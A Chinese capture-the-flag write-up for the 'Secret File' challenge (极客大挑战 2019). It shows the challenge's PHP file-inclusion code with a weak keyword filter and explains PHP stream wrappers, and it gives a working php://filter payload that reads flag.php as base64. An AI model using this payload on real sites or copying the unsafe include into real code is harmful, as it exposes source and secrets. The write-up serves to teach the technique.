Secret File[极客大挑战 2019]

y4ny4n

文件包含与php伪协议

查看源码发现Archive_room.php

接着是action.php

但由于访问时间过短直接跳转到end.php

使用burpsuite抓包

image-20200904150424108

发现secr3t.php

1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php里
?>

文件包含漏洞并并过滤掉了一些关键词

学习到了对于文件包含漏洞用php伪协议读取文件

学习出处:https://www.freebuf.com/column/148886.html

file://后加文件的绝对路径和文件名

php://协议

1.php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。

学习出处:https://blog.csdn.net/destiny1507/article/details/82347371

基本使用:?file=php://filter/read=convert.base64-encode/resource=xxx.php

各参数作用:

image-20200904151413498

2.php://input

php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。

其余php封装协议

常规小节.png

/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php

读取到flag的base64编码后形式,解码即可找到flag

  • 本文标题:Secret File[极客大挑战 2019]
  • 本文作者:y4ny4n
  • 创建时间:2020-09-16 21:23:38
  • 本文链接:https://y4ny4n.cn/2020/09/16/file/
  • 版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
此页目录
Secret File[极客大挑战 2019]